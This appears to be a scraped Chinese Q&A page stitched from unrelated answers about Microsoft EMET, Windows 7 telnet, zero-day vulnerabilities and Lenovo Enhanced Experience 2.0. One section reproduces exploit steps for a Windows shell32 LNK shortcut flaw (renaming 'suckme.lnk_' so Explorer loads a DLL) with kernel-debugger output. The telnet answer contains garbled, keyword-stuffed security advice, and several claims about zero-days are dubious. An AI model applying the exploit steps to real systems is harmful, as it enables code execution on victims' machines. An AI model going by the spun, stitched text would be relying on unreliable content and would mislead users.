Enhanced Mitigation Experience Toolkit可以卸了么？有用么
Enhanced Mitigation Experience Toolkit(EMET)是一款安全工具，它能为旧版Windows平台和应用程序(包括第三方应用程序)提供最新的安全方案和技术，比如随机地址空间分配(ASLR)、数据执行保护(DEP)，让用户免受未修复漏洞的影响并保护用户不受攻击。
EMET 2.0拥有多个安全技术，这些技术也可以使用到旧版Windows上，并有效拦截现有的攻击技术，保护用户免受软件漏洞的影响，不管这些漏洞是已知的还是未知的。
支持的操作系统：Windows 7;Windows Server 2003 Service Pack 1;Windows Server 2008;Windows Server 2008 R2;Windows Vista Service Pack 1;Windows XP Service Pack 3
发布日期：9/10/2010
界面语言：英文
建议你不要删除
家里有个文件的名字叫 Enhanced Mitigation Experience Toolkit 是什么干什么用的具体点
Enhanced Mitigation Experience Toolkit(EMET)是一款安全工具，它能为旧版Windows平台和应用程序(包括第三方应用程序)提供最新的安全方案和技术，比如随机地址空间分配(ASLR)、数据执行保护(DEP)，让用户免受未修复漏洞的影响并保护用户不受攻击。
EMET 2.0拥有多个安全技术，这些技术也可以使用到旧版Windows上，并有效拦截现有的攻击技术，保护用户免受软件漏洞的影响，不管这些漏洞是已知的还是未知的。
支持的操作系统：Windows 7;Windows Server 2003 Service Pack 1;Windows Server 2008;Windows Server 2008 R2;Windows Vista Service Pack 1;Windows XP Service Pack 3
发布日期：9/10/2010
界面语言：英文
建议你不要删除
win7里边使用telnet命令为什么提示telnet不是内部或外部命令，也不是可运行的程序或批处理文件？怎么解决
是这样的，Win7默认没有安装telnet功能，所以你直接用telnet命令是用不了的。可以通过以下步骤解决：控制面板2.程序（在左下角）打开或关闭Windows功能”，勾上“telnet“选项。Win7使用说明使用Windows 7安全警报如果还没使用Windows 7功能，你需要浏览Windows 7安全信息存储库，如Windows 7US-CERT公布的警告和补丁，以及Windows 7The MITRE Corp的CVE列表，该列表显示受到影响的Windows 7电脑。更新Windows 7防病毒应用程序这是所有Windows 7计算机环境中的最佳实践，但在Windows 7时代的作用更为重要。运行在Windows 7电脑中的防病毒/反间谍软件套件必须保持最新版本。此外，考虑将微软Enhanced Mitigation Experience Toolkit（EMET）5.1加入到你的Windows 7防病毒软件库中。EMET旨在防止其他软件无法捕捉到的Windows 7零日攻击，并且免费。EMET要求.NET Framework4.0架构。保持Windows 7所有应用程序版本更新确保Windows 7上运行的所有应用程序打补丁，这对维护一个安全的Windows 7计算环境大有帮助。考虑为公司电脑使用Secunia Corporate Software Inspector（CSI），Windows 7需要企业许可和费用。另外，还有针对自带Windows 7或Android设备所设计的Secunia Personal Software Inspector（PSI）。它是免费为Windows 7家庭和个人提供使用，可以帮助你保持最常用的Windows 7应用获得最新的安全补丁。Windows 7最新版本的PSI和CSI可以自动应用这样的更新，或者你可以把它们从微软Windows 7系统中心或其他管理与部署平台中分离。安装最新的Windows 7浏览器Windows 7浏览器是用户进入互联网的入口，也是Windows 7大多数恶意软件聚集地，所以一定要在Windows 7上安装最新的浏览器。你需要测试并确定Windows 7是否存在兼容性问题，如果没有Windows 7兼容性问题，考虑将用户切换到Windows 7WhiteHat Security Labs Aviator Web浏览器。经过Windows 7专门设计与不断的测试，证明这是Windows 7访问Web最安全的方式。
什么对付零日漏洞？
“零日漏洞”是指发现后立即恶意利用，或由相关人员、组织掌握的未曾公开的网络安全漏洞，由于漏洞还没有相关补丁或未进入网络安全厂商的视线，这些系统漏洞能够被秘密使用，造成巨大破坏。“零日漏洞”之于计算机和网络，就像打开“潘多拉魔盒”的钥匙，能产生巨大的破坏力量。事物有一利，必有一弊。网络连接世界，造福人类，但网络世界存在的软、硬件漏洞成为网络攻击的“大门”，为信息攻击提供了便捷的通道。漏洞，是信息网络世界无法彻底消除的安全隐患。在以计算机、路由器、服务器以及各种软件系统构成的网络世界里，漏洞大量存在。一个系统从发布、使用开始，漏洞会不断暴露出来，已经暴露的漏洞会被系统供应商发布的补丁软件修补，或在新的高版本系统中得以纠正。而新版本系统在纠正了旧版本漏洞时，也会存在新的漏洞。因此，旧漏洞会不断消失，新漏洞会不断出现，而未暴露的漏洞则会长期存在。众多漏洞并非都有威胁,已经纳入信息安全厂商、软件生产厂商监控的漏洞，通常安全威胁较小。而未被发现的漏洞，是网络安全监控的盲区，最有可能成为“零日漏洞”，构成“零日”威胁。利用“零日漏洞”编写的病毒软件，由于在网络中第一次使用，网络安全设备商及防病毒软件厂商不掌握攻击特征，增大了检测、预警、防御的难度。即便安全厂商发现“零日漏洞”，漏洞补丁也需要经过“开发－测试－发布”三个阶段，用时少则数天、多则数周甚至数月。采取补救措施的时间往往滞后于漏洞攻击时间，网络攻击的“时间窗口”十分充足。当前，工厂、交通、银行、电网、军队等网络系统所存在的“零日漏洞”，会给网络犯罪和网络攻击留下潜在入口，成为网络安全的“阿喀琉斯之踵”。“零日漏洞”可能出现在任何软件系统和硬件设备中，其具有的隐匿、未公开、难发现特性，使其成为制造网络武器最为重要的“原料”。在网络众多硬件、软件系统中，他国产品更有可能是“零日漏洞”的重灾区，对方恶意预留的软硬件“后门”，就是潜伏的“零日漏洞”。一些强国，依靠网络信息领域的领先地位，可能掌握有数量惊人的“零日漏洞”。因此，要确保网络安全，减小网络风险，必须封堵、减小网络漏洞威胁。这既需要一批先进的网络安全厂商加强网络安全防控,也需要在网络基础软、硬件上逐步摆脱对国外产品的依赖，实现核心部件、核心设备、核心系统、核心部门的自主化，尽可能减小“零日漏洞”的存在概率。基于对网络安全的担忧，俄军将使用自主研制的网络计算机体系取代进口产品，准备对Windows等国外系统说“再见“。
零日漏洞的攻击代码
From: 1. Unzip the files in 'C: \'. Start a DbgView or paste a KD to your VM.2. Rename 'suckme.lnk_' to 'suckme.lnk' and let the magic do the rest of shell32.dll.3. Look at your logs.Tested under XP SP3.kd> gBreakpoint 1 hiteax=00000001 ebx=00f5ee7c ecx=0000c666 edx=00200003 esi=00000001 edi=7c80a6e4eip=7ca78712 esp=00f5e9c4 ebp=00f5ec18 iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202SHELL32!_LoadCPLModule+0x10d:001b:7ca78712 ff15a0159d7c call dword ptr [SHELL32!_imp__LoadLibraryW (7c9d15a0)] ds:0023:7c9d15a0={kernel32!LoadLibraryW (7c80aeeb)}kd> dd esp00f5e9c4 00f5ee7c 000a27bc 00f5ee78 0000000000f5e9d4 00000020 00000008 00f5ee7c 0000000000f5e9e4 00000000 0000007b 00000000 0000000000f5e9f4 00200073 002000e0 0000064c 0000028c00f5ea04 1530000a 00000000 003a0043 0064005c00f5ea14 006c006c 0064002e 006c006c 006d002e00f5ea24 006e0061 00660069 00730065 0000007400f5ea34 00090608 7c92005d 00000000 00000007kd> db 00f5ee7c00f5ee7c 43 00 3a 00 5c 00 64 00-6c 00 6c 00 2e 00 64 00 C.:.\.d.l.l...d.00f5ee8c 6c 00 6c 00 00 00 92 7c-c8 f2 f5 00 00 17 72 02 l.l....|......r.00f5ee9c 4b d2 00 00 d8 f2 f5 00-8b d2 a1 7c 00 00 00 00 K..........|....00f5eeac ac 80 9d 7c 30 d8 0d 00-34 d8 0d 00 b8 d7 0d 00 ...|0...4.......00f5eebc 9a d2 a1 7c 30 d8 0d 00-c8 f2 f5 00 50 40 15 00 ...|[email protected] 50 40 15 00 00 00 00 00-b8 00 92 7c 40 b7 0c 00 P@.........|@...00f5eedc a8 ef f5 00 41 00 92 7c-18 07 09 00 5d 00 92 7c ....A..|....]..|00f5eeec c8 f2 f5 00 00 ef f5 00-00 00 00 00 b8 00 92 7c ...............|kd> kvChildEBP RetAddr Args to Child00f5ec18 7ca81a74 00f5ee7c 000a27bc 00f5f2c4 SHELL32!_LoadCPLModule+0x10d (FPO: [1,145,4])00f5ee50 7ca82543 00f5ee74 000a27bc 000a27c0 SHELL32!CPL_LoadAndFindApplet+0x4a (FPO: [4,136,4])00f5f294 7cb56065 000a25b4 000a27bc 000a27c0 SHELL32!CPL_FindCPLInfo+0x46 (FPO: [4,264,4])00f5f2b8 7ca13714 00000082 00000000 00000104 SHELL32!CCtrlExtIconBase::_GetIconLocationW+0x7b (FPO: [5,0,0])00f5f2d4 7ca1d306 000a25ac 00000082 00f5f570 SHELL32!CExtractIconBase::GetIconLocation+0x1f (FPO: [6,0,0])00f5f410 7ca133b6 000dd7e0 00000082 00f5f570 SHELL32!CShellLink::GetIconLocation+0x69 (FPO: [6,68,4])00f5f77c 7ca03c88 000dd7e0 00000000 0015aa00 SHELL32!_GetILIndexGivenPXIcon+0x9c (FPO: [5,208,4])00f5f7a4 7ca06693 00131c60 000dd7e0 0015aa00 SHELL32!SHGetIconFromPIDL+0x90 (FPO: [5,0,4])00f5fe20 7ca12db0 00131c64 0015aa00 00000000 SHELL32!CFSFolder::GetIconOf+0x24e (FPO: [4,405,4])00f5fe40 7ca15e3c 00131c60 00131c64 0015aa00 SHELL32!SHGetIconFromPIDL+0x20 (FPO: [5,0,0])00f5fe68 7ca03275 000f8090 0014d5b0 0014a910 SHELL32!CGetIconTask::RunInitRT+0x47 (FPO: [1,2,4])00f5fe84 75f11b9a 000f8090 75f11b18 75f10000 SHELL32!CRunnableTask::Run+0x54 (FPO: [1,1,4])00f5fee0 77f49598 00155658 000cb748 77f4957b BROWSEUI!CShellTaskScheduler_ThreadProc+0x111 (FPO: [1,17,0])00f5fef8 7c937ac2 000cb748 7c98e440 0014cfe0 SHLWAPI!ExecuteWorkItem+0x1d (FPO: [1,0,4])00f5ff40 7c937b03 77f4957b 000cb748 00000000 ntdll!RtlpWorkerCallout+0x70 (FPO: [Non-Fpo])00f5ff60 7c937bc5 00000000 000cb748 0014cfe0 ntdll!RtlpExecuteWorkerRequest+0x1a (FPO: [3,0,0])00f5ff74 7c937b9c 7c937ae9 00000000 000cb748 ntdll!RtlpApcCallout+0x11 (FPO: [4,0,0])00f5ffb4 7c80b729 00000000 00edfce4 00edfce8 ntdll!RtlpWorkerThread+0x87 (FPO: [1,7,0])00f5ffec 00000000 7c920250 00000000 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])
什么是0day漏洞？
0DAY漏洞最早的破解是专门针对软件的叫做WAREZ。后来才发展到游戏，音乐，影视等其他内容的。0day中的0表示zero，早期的0day表示在软件发行后的24小时内就出现破解版本；已经引申了这个含义，只要是在软件或者其他东西发布后，在最短时间内出现相关破解的，都可以叫0day。 0day是一个统称，所有的破解都可以叫0day。扩展资料漏洞在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而可以使攻击者能够在未授权的情况下访问或破坏系统。比如在Intel Pentium芯片中存在的逻辑错误，在Sendmail早期版本中的编程错误，在NFS协议中认证方式上的弱点，在Unix系统管理员设置匿名Ftp服务时配置不当的问题都可能被攻击者使用，威胁到系统的安全。因而这些都可以认为是系统中存在的安全漏洞。漏洞的存在，很容易导致黑客的侵入及病毒的驻留，会导致数据丢失和篡改、隐私泄露乃至金钱上的损失；如：网站因漏洞被入侵，网站用户数据将会泄露、网站功能可能遭到破坏而中止乃至服务器本身被入侵者控制。数码产品发展，漏洞从过去以电脑为载体延伸至数码平台，如手机二维码漏洞，安卓应用程序漏洞，参考资料：百度百科-0DAY漏洞参考资料：百度百科-漏洞
0day漏洞是怎么被发现的?
什么是0Day
0Day的概念最早用于软件和游戏破解，属于非盈利性和非商业化的组织行为，其基本内涵是“即时性”。Warez被许多人误认为是一个最大的软件破解组织，而实际上，Warez如黑客一样，只是一种行为。0Day也是。当时的0Day是指在正版软件或游戏发布的当天甚至之前，发布附带着序列号或者解密器的破解版，让使用者可以不用付费就能长期使用。因此，虽然Warez和0Dday都是反盗版的重要打击对象，却同时受到免费使用者和业内同行的推崇。尽管 Warez和0Day的拥护者对以此而谋利的盗版商不齿，但商业利益的驱动还是将破解行为的商业化推到了高峰。而眼下的0Day，正在对信息安全产生越来越严重的威胁。
信息安全意义上的0Day是指在安全补丁发布前而被了解和掌握的漏洞信息。
2005年12月8日，几乎影响 Windows所有操作系统的WMF漏洞在网上公开，虽然微软在8天后提前发布了安全补丁（微软的惯例是在每月的第一个周二），但就在这8天内出现了二百多个利用此漏洞的攻击脚本。漏洞信息的公开加速了软件生产企业的安全补丁更新进程，减少了恶意程序的危害程度。但如果是不公开的0Day呢？WMF漏洞公开之前，又有多少人已经利用了它？是否有很多0Day一直在秘密流传？例如，给全球网络带来巨大危害的“冲击波”和“震荡波”这两种病毒，如果它们的漏洞信息没有公开，自然也就没有这两种超级病毒的产生。反过来想，有什么理由认为眼下不存在类似的有着重大安全隐患的漏洞呢？（Dtlogin远程溢出漏洞于 2002年被发现，2004年公布。）
看不见的才是最可怕的，这就是0Day的真正威胁。
不可避免的0Day
信息价值的飞速提升，互联网在全球的普及，数字经济的广泛应用，这一切都刺激着信息安全市场的不断扩大，软件破解、口令解密、间谍软件、木马病毒全部都从早期的仅做研究和向他人炫耀的目的转化为纯商业利益的运作，并迅速地传播开来，从操作系统到数据库，从应用软件到第三方程序和插件，再到遍布全球的漏洞发布中心，看看它们当中有多少0Day存在？可以毫不夸张的说，在安全补丁程序发布之前，所有的漏洞信息都是0Day，但是从未发布过安全补丁的软件是否就意味着它们当中不存在0Day呢？
有人说：“每一个稍具规模的应用软件都可能存在0Day。”没错！从理论上讲，漏洞必定存在，只是尚未发现，而弥补措施永远滞后而已。
只要用户方不独自开发操作系统或应用程序，或者说只要使用第三方的软件，0Day的出现就是迟早的事，无论你是使用数据库还是网站管理平台，无论你是使用媒体播放器还是绘图工具，即便是专职安全防护的软件程序本身，都会出现安全漏洞，这已是不争的事实，但最可怕的不是漏洞存在的先天性，而是0Day的不可预知性。
从开源的角度上来说，Linux更容易比封闭源代码的Windows存在更多的0Day。那些自以为使用着安全操作系统的人，迟早会被0Day攻击弄得哑口无言。而微软呢？远有IIS和IE，近有WMF和Excel，由于其操作系统应用的广泛性，如今已是补丁加补丁，更新再更新，最新操作系统Vista竟然含有几万行的问题代码。尚未发行，已是满目疮痍，谁又能保证微软的源代码没有丝毫泄露呢？
0Day走向何方
越来越多的破解者和黑客们，已经把目光从率先发布漏洞信息的荣誉感转变到利用这些漏洞而得到的经济利益上，互联网到处充斥着数以万计的充满入侵激情的脚本小子，更不用说那些以窃取信息为职业的商业间谍和情报人员了。于是，0Day有了市场。
国外两年前就有了0Day的网上交易，黑客们通过网上报价出售手中未公开的漏洞信息，一个操作系统或数据库的远程溢出源码可以卖到上千美元甚至更高；而国内的黑客同行，前不久也在网上建立了一个专门出售入侵程序号称中国第一0Day的网站，尽管类似的提供黑客工具的网站很多，但此网站与其它网站的区别在于0Day的特性十分明显：价格较高的攻击程序的攻击对象，还没有相应的安全补丁，也就是说这样的攻击程序很可能具有一击必中的效果。这个网站成立不久便在搜索引擎中消失了，也许已经关闭，也许转入地下。但不管怎样，0Day带来的潜在经济利益不可抹杀，而其将来对信息安全的影响以及危害也绝不能轻视。
软件上的0Day几乎不可避免，那硬件呢？硬件是否存在0Day？答案无疑是肯定的。近年来，思科路由器漏洞频繁出现，今年2月，已被曝光的某知名网络产品漏洞至今仍未被修复。对于那些基于IP协议连接网络的路由、网关、交换机，哪个电信运营商敢百分之百地保证自己的网络设备万无一失？（2005年4月11日，全国超过二十个城市的互联网出现群发性故障；同年7月12日，北京20万ADSL用户断网）。
早在两年前，英特尔的首席技术官就提出过互联网不能承受与日俱增的使用者这一想法，当时，被很多人认为是无稽之谈。今年6月，在美国的商业圆桌会议上，包括惠普公司、IBM公司、Sun公司、通用汽车公司、家得宝公司和可口可乐公司等在内的160个企业代表呼吁政府要对发生大规模网络故障的可能性做好准备工作……
当今的互联网，病毒、蠕虫、僵尸网络、间谍软件、DDoS犹如洪水般泛滥，所有的这一切都或多或少地从0Day走过，可以预测，在不远的将来，互联网瘫痪绝不遥远。
网友们谁知道lenovo enhanced experience2.0怎么用
貌似是 集成在主板bios里面 只要是windows7系统就可以 普通的快一点 开机在40秒左右，但是这个技术最强的是配合固态硬盘使用.
.以下是官网的介绍
全新的联想EE(Enhanced Experience) 2.0，包含大量针对
启动速度和多媒体应用的优化，使用RapidBoot技术，
比普通PC Win7开关机速度快20秒（不含TSI机型），
使用RapidDrive SSD技术，有更大幅度的开关机速度提升
（限TSI机型）。
其实最明显的就是tsi技术的机器。
http://v.youku.com/v_show/id_XMTU3MDM1NTg0.html 这个视频 左边的是有固态硬盘的EE2.0 右边是普通硬盘的EE2.0
lenovo ENHANCED EXPERIENCE 2.0到底是什么
1、没有EE2.0了。可以在官网下载试试
驱动下载：
看一下主机后面的主机编号，然后到下列网址，在页面中间第一个对话框把编号输入查找
[url]http://support1.lenovo.com.cn/lenovo/wsi/Modules/Drive.aspx?seq=1[/url]
2、开机速度是和软件环境有关的，即便是快，也是同样的软件环境下测试的。
